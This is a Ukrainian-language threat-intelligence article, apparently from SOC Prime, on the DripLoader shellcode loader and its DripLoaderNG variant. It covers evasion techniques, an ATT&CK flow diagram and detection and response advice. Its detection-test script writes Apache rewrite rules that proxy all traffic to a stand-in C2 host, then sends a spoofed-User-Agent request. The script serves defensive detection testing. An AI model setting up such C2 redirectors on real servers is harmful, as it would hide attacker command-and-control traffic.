SOC Prime Bias: Середній

27 Nov 2025 19:23

DripLoader Malware: Shellcode Execution and Defense Evasion

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Стежити
DripLoader Malware: Shellcode Execution and Defense Evasion
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Резюме

У статті розглядається DripLoader, завантажувач шелкоду, який виділяє пам’ять, записує в неї шелкод, змінює дозволи сторінок на виконувані, а потім запускає його. Висвітлюється, як завантажувач доставляється через HTTPS-перенаправлювач, підтримуваний фреймворком Havoc C2, і як його код можна заплутати за допомогою стиснення та непрямих системних дзвінків. У дописі також представлено вдосконалений варіант, DripLoaderNG, що базується на підвантаженні .node та додаткових методах ухилення, а також практичні рекомендації з виявлення та інструменти аналізу пам’яті.

Розслідування

Розслідування описує налаштування лабораторії, де Havoc надсилає стиснений шелкод через спеціальний Apache-перенаправлювач. Завантажувач резервує регіони на 64 КБ, робить коміти сторінок на 4 КБ, змінює прапори захисту та виконує корисне навантаження. DripLoaderNG вводить непрямі системні дзвінки та підвантаження .node модулів, орієнтованих на застосунок Slack Electron. Виявлення демонструється за допомогою інструментів, таких як Moneta, PE-sieve, і підтримувані запити KQL.

Пом’якшення

Кроки пом’якшення включають моніторинг підозрілих HTTPS-перенаправлень, виявлення підроблених рядків user-agent, помітка рідкісних .node файлів і використання функцій EDR для виявлення поведінки непрямих системних дзвінків. Додаткові рекомендації включають налаштування конфігурацій Sliver/Donut для зменшення втручання в AMSI та обмеження виконання непідписаних рідних модулів.

Реакція

Якщо виявлена активність, ізолюйте уражений кінцевий пункт, зупиніть шкідливий процес, захопіть дампи пам’яті і перевірте ін’єктований шелкод. Заблокуйте домен або IP C2, скиньте вразливі облікові дані та впровадьте захисні правила для визначених індикаторів user-agent та .node файлів. Проведіть судово-медичний аналіз і оновіть контент виявлення для покриття спостережуваних шаблонів непрямих системних дзвінків.

mermaid graph TB %% Визначення класів classDef technique fill:#99ccff classDef operator fill:#ff9900 %% Вузли Техніки step_initial_access[“<b>Техніка</b> – <b>T1090 Proxy</b><br /><b>Опис</b>: Використовує HTTPS-перенаправлення та підроблений User-Agent для доставки шкідливих завантажень і встановлення командно-контрольних з’єднань через веб-трафік.”] class step_initial_access technique step_c2[“<b>Техніка</b> – <b>T1102.002 Вебслужба: Двонаправлений Зв’язок</b><br /><b>Опис</b>: Спілкується із зловмисником через HTTPS веб-служби, забезпечуючи двосторонній Command&Control.”] class step_c2 technique step_obfusc_compress[“<b>Техніка</b> – <b>T1027.015 Стиснення</b><br /><b>Опис</b>: Навантаження стиснуто з LZMS, щоб приховати його вміст від статичного аналізу та захисту на основі підписів.”] class step_obfusc_compress technique step_obfusc_compile[“<b>Техніка</b> – <b>T1027.004 Компиляція після доставки</b><br /><b>Опис</b>: Завантаження компілюється після доставки, щоб уникнути виявлення.”] class step_obfusc_compile technique step_process_injection[“<b>Техніка</b> – <b>T1055.002 Ін’єкція виконуваного файлу</b><br /><b>Опис</b>: DripLoader виділяє віртуальну пам’ять, копіює шелкод, змінює захист сторінок та виконує його у легітимному процесі.”] class step_process_injection technique step_reflective_loading[“<b>Техніка</b> – <b>T1620 Завантаження Відображуваного Коду</b><br /><b>Опис</b>: Завантажувач відображає скопійований шелкод у пам’яті та запускає його без використання засобу завантаження операційної системи.”] class step_reflective_loading technique step_dll_injection[“<b>Техніка</b> – <b>T1055.001 Ін’єкція Дінамічної бібліотеки посилань</b><br /><b>Опис</b>: Шкідливий модуль .node (DLL) підвантажується у процес Slack, дозволяючи виконання коду під управлінням довіреного застосунку.”] class step_dll_injection technique step_persistence[“<b>Техніка</b> – <b>T1546.009 AppCert DLLs</b><br /><b>Опис</b>: Підвантажена бібліотека DLL залишається, реєструючись як сертифікаційна бібліотека застосунку, забезпечуючи виконання при старті системи.”] class step_persistence technique step_evasion_cred_api[“<b>Техніка</b> – <b>T1056.004 Підключення API облікових даних</b><br /><b>Опис</b>: Використовує непрямі системні дзвінки для виклику нативних API Windows, обходячи керовані EDR-гаки.”] class step_evasion_cred_api technique step_evasion_indicator_removal[“<b>Техніка</b> – <b>T1027.005 Видалення індикаторів з інструментів</b><br /><b>Опис</b>: Модифікує конфігурацію Sliver/Donut для відключення патрування AMSI, запобігаючи виявленню антивірусними двигунами.”] class step_evasion_indicator_removal technique step_evasion_stripped[“<b>Техніка</b> – <b>T1027.008 Усічені навантаження</b><br /><b>Опис</b>: Видаляє налагоджувальні та метадані інформації з навантаження для зменшення судових артефактів.”] class step_evasion_stripped technique step_masquerade[“<b>Техніка</b> – <b>T1036.008 Маскування типу файлу</b><br /><b>Опис</b>: Перейменовує шкідливий файл .node, щоб виглядати як легітимний нативний модуль, зливаючись із очікуваними файлами застосунку.”] class step_masquerade technique step_server_component[“<b>Техніка</b> – <b>T1505.003 Компонент програмного забезпечення сервера: Веб-оболонка</b><br /><b>Опис</b>: Передає шелкод і завантажувачі через веб-перенаправляч, потім розпаковує та виконує їх на цілі.”] class step_server_component technique %% Вузли Оператора op_obfusc((“І”)) class op_obfusc operator op_evasion((“І”)) class op_evasion operator %% Зв’язки step_initial_access u002du002d>|веде до| step_c2 step_c2 u002du002d>|веде до| step_obfusc_compress step_c2 u002du002d>|веде до| step_obfusc_compile step_obfusc_compress u002du002d>|частина| op_obfusc step_obfusc_compile u002du002d>|частина| op_obfusc op_obfusc u002du002d>|веде до| step_process_injection step_process_injection u002du002d>|веде до| step_reflective_loading step_reflective_loading u002du002d>|веде до| step_dll_injection step_dll_injection u002du002d>|веде до| step_persistence step_persistence u002du002d>|веде до| step_evasion_cred_api step_persistence u002du002d>|веде до| step_evasion_indicator_removal step_persistence u002du002d>|веде до| step_evasion_stripped step_evasion_cred_api u002du002d>|частина| op_evasion step_evasion_indicator_removal u002du002d>|частина| op_evasion step_evasion_stripped u002du002d>|частина| op_evasion op_evasion u002du002d>|веде до| step_masquerade step_masquerade u002du002d>|веде до| step_server_component

Потік атаки

Виконання симуляції

Передумова: Перевірка телеметрії та базового передполітного тесту повинна пройти.

Обґрунтування: Цей розділ детально описує точне виконання техніки противника (TTP), призначене для спрацювання правила виявлення. Команди та наратив повинні безпосередньо відображати ідентифіковані TTP і націлюватися на генерацію саме тієї телеметрії, яку очікує логіка виявлення. Абстрактні або не пов’язані приклади призведуть до неправильної діагностики.

  • Наратив атаки та команди:
    Оператор шкідливої інфраструктури готує веб-сервер жертви для виконання функцій каналу до сервера C2. Вони вставляють дві RewriteRule директиви в конфігурацію віртуального хоста Apache: першу, що проксірує весь вхідний трафік на https://C2.TeamServer.IP:443 ([P] прапор) і другу, що перенаправляє будь-який запит на безпечну URL-адресу Google ([L,R=302]). Після перезавантаження Apache зловмисник видає підроблений HTTP-запит з точно такою підробленою строкою User-Agent, як визначено в правилі Sigma. Apache обробляє запит, записує User-Agent, і двигун переписування записує дію проксі, задовольняючи обидві умови виявлення.

  • Скрипт регресійного тесту:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Скрипт перевірки виявлення DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # 1. Резервне копіювання поточної конфігурації
    sudo cp "$APACHE_CONF" "$BACKUP_CONF"
    
    # 2. Вставити шкідливі правила переписування
    sudo bash -c "cat >> $APACHE_CONF <<'EOF'
    
    # ПОЧАТОК правил тестування DripLoader
    RewriteEngine On
    RewriteRule ^.*$ "https://C2.TeamServer.IP:443%{REQUEST_URI}" [P]
    RewriteRule ^.*$ "https://www.google.com" [L,R=302]
    # КІНЕЦЬ правил тестування DripLoader
    
    EOF"
    
    # 3. Перезавантажте Apache, щоб застосувати зміни
    sudo systemctl reload apache2
    
    # 4. Видати шкідливий запит з точно підробленим User-Agent
    curl -s -o /dev/null -A "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, як Gecko) Chrome/ Safari/537.366" http://localhost/
    
    echo "Шкідливий запит надіслано. Перевірте SIEM для оповіщення про виявлення."
  • Команди очищення:

    #!/usr/bin/env bash
    # -------------------------------------------------
    # Очищення тестування виявлення DripLoader
    # -------------------------------------------------
    
    APACHE_CONF="/etc/apache2/sites-available/000-default.conf"
    BACKUP_CONF="/tmp/000-default.conf.bak"
    
    # Відновити оригінальну конфігурацію
    if [[ -f "$BACKUP_CONF" ]]; then
        sudo cp "$BACKUP_CONF" "$APACHE_CONF"
        sudo systemctl reload apache2
        echo "Оригінальна конфігурація Apache відновлена."
    else
        echo "Резервна копія не знайдена; може знадобитися ручне очищення."
    fi